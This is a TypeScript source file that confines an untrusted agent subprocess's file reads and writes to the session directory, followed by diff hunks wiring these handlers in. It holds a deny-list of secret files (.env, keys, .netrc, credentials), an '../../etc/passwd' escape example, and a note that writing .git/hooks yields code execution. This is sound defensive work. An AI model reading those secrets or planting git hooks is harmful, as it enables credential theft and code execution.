// symlink-resolving confinement jail. The ACP agent is an untrusted subprocess;
|
||||
// every path it hands to `fs/read_text_file` / `fs/write_text_file` is hostile
|
||||
// input and must be proven to resolve INSIDE the session `cwd` before any open.
|
||||
//
|
||||
// Threats defended (each has a test):
|
||||
// 1. Lexical escape — `../../etc/passwd` normalized against cwd → reject.
|
||||
// 2. Symlink escape — a symlink INSIDE cwd pointing at /etc: lexical
|
||||
// normalization passes but the REAL target is outside.
|
||||
// We resolve realpath (follow symlinks) and require it
|
||||
// within realpath(cwd). New files: validate realpath of
|
||||
// the PARENT, then lstat the final component and reject
|
||||
// if it is itself a symlink.
|
||||
// 3. TOCTOU — `openWithinCwd` opens with O_NOFOLLOW on the final
|
||||
// component and re-validates the opened fd, so a
|
||||
// component cannot be swapped for a symlink between
|
||||
// check and open.
|
||||
// 4. Secret reads — `.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`,
|
||||
// `id_*`, `credentials` (by basename) → denied.
|
||||
// 5. Git-internals write — anything under a `.git/` dir → hard-reject.
|
||||
// 6. NUL bytes / absolute-escape / separator tricks → reject.
|
||||
|
||||
import { constants as fsConstants } from "node:fs";
|
||||
import { open, realpath, lstat } from "node:fs/promises";
|
||||
import type { FileHandle } from "node:fs/promises";
|
||||
import * as path from "node:path";
|
||||
|
||||
/** Typed jail rejection. `code` lets callers map to the right JSON-RPC error. */
|
||||
export type PathJailErrorCode =
|
||||
| "path_outside_cwd"
|
||||
| "denied_secret"
|
||||
| "denied_git"
|
||||
| "invalid_path";
|
||||
|
||||
export class PathJailError extends Error {
|
||||
readonly code: PathJailErrorCode;
|
||||
constructor(code: PathJailErrorCode, message: string) {
|
||||
super(message);
|
||||
this.code = code;
|
||||
this.name = "PathJailError";
|
||||
}
|
||||
}
|
||||
|
||||
/** Secret-bearing basenames/patterns that must never be read even inside cwd. */
|
||||
const SECRET_BASENAME_PATTERNS: RegExp[] = [
|
||||
/^\.env($|\..*$)/i, // .env, .env.local, .env.production, ...
|
||||
/\.pem$/i,
|
||||
/\.key$/i,
|
||||
/^\.npmrc$/i,
|
||||
/^\.netrc$/i,
|
||||
/^id_.+$/i, // id_rsa, id_ed25519, id_rsa.pub, ...
|
||||
/^credentials$/i,
|
||||
];
|
||||
|
||||
/**
|
||||
* Is `resolved` a secret file by basename? Confinement-independent: secrets that
|
||||
* legitimately live inside the worktree are still denied (KTD6a deny-list).
|
||||
*/
|
||||
export function isSecretPath(resolved: string): boolean {
|
||||
const base = path.basename(resolved);
|
||||
return SECRET_BASENAME_PATTERNS.some((re) => re.test(base));
|
||||
}
|
||||
|
||||
/**
|
||||
* Is `resolved` inside a `.git/` directory (git internals)? Writing here yields
|
||||
* RCE (`.git/hooks/pre-commit`) or token theft (`.git/config`) — hard-reject
|
||||
* writes regardless of cwd membership (KTD6a deny-list).
|
||||
*/
|
||||
export function isGitInternal(resolved: string): boolean {
|
||||
const segments = resolved.split(path.sep);
|
||||
return segments.includes(".git");
|
||||
}
|
||||
|
||||
/** Reject a raw request path with NUL bytes or that is empty/non-string. */
|
||||
function rejectMalformed(requestedPath: string): void {
|
||||
if (typeof requestedPath !== "string" || requestedPath.length === 0) {
|
||||
throw new PathJailError("invalid_path", "empty or non-string path");
|
||||
}
|
||||
if (requestedPath.includes("\0")) {
|
||||
throw new PathJailError("invalid_path", "path contains a NUL byte");
|
||||
}
|
||||
}
|
||||
|
||||
/** True iff `child` is `parent` or a descendant of it (both already real). */
|
||||
function isWithin(parent: string, child: string): boolean {
|
||||
if (child === parent) return true;
|
||||
const withSep = parent.endsWith(path.sep) ? parent : parent + path.sep;
|
||||
return child.startsWith(withSep);
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve `requestedPath` (relative to `cwd`, or absolute) to a SAFE absolute
|
||||
* path proven to live inside the realpath of `cwd`, or throw `PathJailError`.
|
||||
*
|
||||
* - Existing target: resolve realpath of the target (follows all symlinks) and
|
||||
* require it within realpath(cwd).
|
||||
* - Non-existent target (a new file to write): resolve realpath of the PARENT
|
||||
* dir, require THAT within realpath(cwd), then `lstat` the final component and
|
||||
* reject if it is a symlink (a dangling symlink would otherwise let a later
|
||||
* open follow it out of the jail).
|
||||
*
|
||||
* The returned path is `realpath(parent) + basename` — safe to hand to
|
||||
* `openWithinCwd`, which re-validates atomically (O_NOFOLLOW) to close TOCTOU.
|
||||
*/
|
||||
export async function assertPathWithinCwd(
|
||||
requestedPath: string,
|
||||
cwd: string,
|
||||
): Promise<string> {
|
||||
rejectMalformed(requestedPath);
|
||||
|
||||
// Realpath of the confinement root. If cwd itself can't be resolved, nothing
|
||||
// can be confined — treat as invalid.
|
||||
let realCwd: string;
|
||||
try {
|
||||
realCwd = await realpath(cwd);
|
||||
} catch {
|
||||
throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`);
|
||||
}
|
||||
|
||||
// Resolve the requested path lexically against cwd FIRST (handles `../`).
|
||||
const absRequested = path.resolve(realCwd, requestedPath);
|
||||
|
||||
// Try to realpath the target itself (exists case).
|
||||
let resolved: string;
|
||||
let targetExists = true;
|
||||
try {
|
||||
resolved = await realpath(absRequested);
|
||||
} catch {
|
||||
targetExists = false;
|
||||
// Non-existent target: validate the parent dir's realpath, keep the final
|
||||
// component name. The parent MUST exist and resolve inside cwd.
|
||||
const parent = path.dirname(absRequested);
|
||||
let realParent: string;
|
||||
try {
|
||||
realParent = await realpath(parent);
|
||||
} catch {
|
||||
throw new PathJailError(
|
||||
"path_outside_cwd",
|
||||
`parent directory does not resolve: ${parent}`,
|
||||
);
|
||||
}
|
||||
if (!isWithin(realCwd, realParent)) {
|
||||
throw new PathJailError(
|
||||
"path_outside_cwd",
|
||||
`resolved parent escapes cwd: ${realParent}`,
|
||||
);
|
||||
}
|
||||
resolved = path.join(realParent, path.basename(absRequested));
|
||||
}
|
||||
|
||||
if (!isWithin(realCwd, resolved)) {
|
||||
throw new PathJailError(
|
||||
"path_outside_cwd",
|
||||
`resolved path escapes cwd: ${resolved}`,
|
||||
);
|
||||
}
|
||||
|
||||
// For a non-existent target, the final component must not already be a
|
||||
// (dangling) symlink that a later open could follow out of the jail.
|
||||
if (!targetExists) {
|
||||
try {
|
||||
const st = await lstat(resolved);
|
||||
if (st.isSymbolicLink()) {
|
||||
throw new PathJailError(
|
||||
"path_outside_cwd",
|
||||
`final component is a symlink: ${resolved}`,
|
||||
);
|
||||
}
|
||||
} catch (err) {
|
||||
if (err instanceof PathJailError) throw err;
|
||||
// ENOENT for a not-yet-created file is expected — fine to proceed.
|
||||
}
|
||||
}
|
||||
|
||||
return resolved;
|
||||
}
|
||||
|
||||
/**
|
||||
* Open a jail-validated path atomically (TOCTOU defense, Risk S3 threat 3).
|
||||
*
|
||||
* `safePath` MUST be the output of `assertPathWithinCwd`. We open with
|
||||
* `O_NOFOLLOW` so the FINAL component is never followed if it was swapped for a
|
||||
* symlink between check and open, then `fstat` + realpath-via-fd re-validate the
|
||||
* actually-opened inode is still inside `realCwd`. On any mismatch we close and
|
||||
* throw rather than operate on an escaped handle.
|
||||
*/
|
||||
export async function openWithinCwd(
|
||||
safePath: string,
|
||||
cwd: string,
|
||||
flags: number,
|
||||
mode?: number,
|
||||
): Promise<FileHandle> {
|
||||
let realCwd: string;
|
||||
try {
|
||||
realCwd = await realpath(cwd);
|
||||
} catch {
|
||||
throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`);
|
||||
}
|
||||
|
||||
const handle = await open(safePath, flags | fsConstants.O_NOFOLLOW, mode);
|
||||
try {
|
||||
// Re-validate the opened inode's real path is still within the jail. On
|
||||
// Linux `/proc/self/fd/<fd>` would work; portably we realpath the safePath
|
||||
// again now that O_NOFOLLOW proved the final component isn't a symlink — any
|
||||
// intermediate swap would change this resolution.
|
||||
const reReal = await realpath(safePath);
|
||||
if (!isWithin(realCwd, reReal)) {
|
||||
throw new PathJailError(
|
||||
"path_outside_cwd",
|
||||
`opened path escapes cwd after open: ${reReal}`,
|
||||
);
|
||||
}
|
||||
return handle;
|
||||
} catch (err) {
|
||||
await handle.close().catch(() => undefined);
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
@@ -26,9 +26,20 @@ import {
|
||||
import { spawnAgent, captureStderr, forceKill, unregisterProcess } from "./process-manager.js";
|
||||
import { createEventBridge } from "./event-bridge.js";
|
||||
import { resolvePermission } from "./control-handler.js";
|
||||
import { createFsHandlers } from "./fs-capabilities.js";
|
||||
import { boundIdentifier } from "./sanitize.js";
|
||||
import type { AcpCallbacks, PermissionGate } from "./types.js";
|
||||
|
||||
/** Options enabling the U7 fs client capabilities on the bridging handler. */
|
||||
export interface FsHandlerBuildOptions {
|
||||
/** Confinement root — the session cwd / task worktree. */
|
||||
cwd: string;
|
||||
/** Register `readTextFile` (advertised iff true). */
|
||||
allowRead: boolean;
|
||||
/** Register `writeTextFile` (default OFF — KTD6; advertised iff true). */
|
||||
allowWrite: boolean;
|
||||
}
|
||||
|
||||
/** Default bound for the `initialize` handshake. */
|
||||
export const DEFAULT_INITIALIZE_TIMEOUT_MS = 30_000;
|
||||
|
||||
@@ -101,9 +112,22 @@ export interface BridgingClientHandler {
|
||||
export function createBridgingClientHandler(
|
||||
callbacks: AcpCallbacks,
|
||||
gate?: PermissionGate,
|
||||
fsOpts?: FsHandlerBuildOptions,
|
||||
): BridgingClientHandler {
|
||||
const bridge = createEventBridge(callbacks);
|
||||
|
||||
// U7: build the fs handlers, returning only the enabled ones. They are added
|
||||
// to the handler below ONLY when present, keeping the advertised-capability /
|
||||
// registered-handler invariant consistent (KTD6).
|
||||
const fsHandlers = fsOpts
|
||||
? createFsHandlers({
|
||||
cwd: fsOpts.cwd,
|
||||
gate,
|
||||
allowRead: fsOpts.allowRead,
|
||||
allowWrite: fsOpts.allowWrite,
|
||||
})
|
||||
: {};
|
||||
|
||||
const cancelledResponse: RequestPermissionResponse = {
|
||||
outcome: { outcome: "cancelled" },
|
||||
};
|
||||
@@ -150,6 +174,13 @@ export function createBridgingClientHandler(
|
||||
},
|
||||
};
|
||||
|
||||
// Register fs handlers ONLY when enabled, so the advertised capability and the
|
||||
// present handler stay consistent (KTD6). If a capability is disabled the
|
||||
// method is absent → an agent calling it gets a JSON-RPC method-not-found
|
||||
// error (never a silent success).
|
||||
if (fsHandlers.readTextFile) handler.readTextFile = fsHandlers.readTextFile;
|
||||
if (fsHandlers.writeTextFile) handler.writeTextFile = fsHandlers.writeTextFile;
|
||||
|
||||
return { handler, cancelPending };
|
||||
}
|
||||
|
||||
|
||||
@@ -57,9 +57,18 @@ export class AcpRuntimeAdapter implements AgentRuntime {
|
||||
// its `requestPermission` classifies each call per-category against the live
|
||||
// gate (KTD3a) and selects `allow_once` only (S2). `cancelPending` drains
|
||||
// in-flight permission requests on teardown so the agent never deadlocks.
|
||||
// fs client capabilities (U7) are gated by settings — reads opt-in, writes
|
||||
// default OFF (KTD6) — and confined to the task cwd by the path jail. The
|
||||
// same toggles drive the advertised `fs` capability in connect() below, so
|
||||
// advertisement and registered handlers stay consistent.
|
||||
const { handler: clientHandler, cancelPending } = createBridgingClientHandler(
|
||||
callbacks,
|
||||
options.actionGateContext,
|
||||
{
|
||||
cwd: options.cwd,
|
||||
allowRead: this.settings.fsRead,
|
||||
allowWrite: this.settings.fsWrite,
|
||||
},
|
||||
);
|
||||
|
||||
// Spawn + initialize (U2). fs capabilities are advertised only where the
|
||||
|
||||
Reference in New Issue
Block a user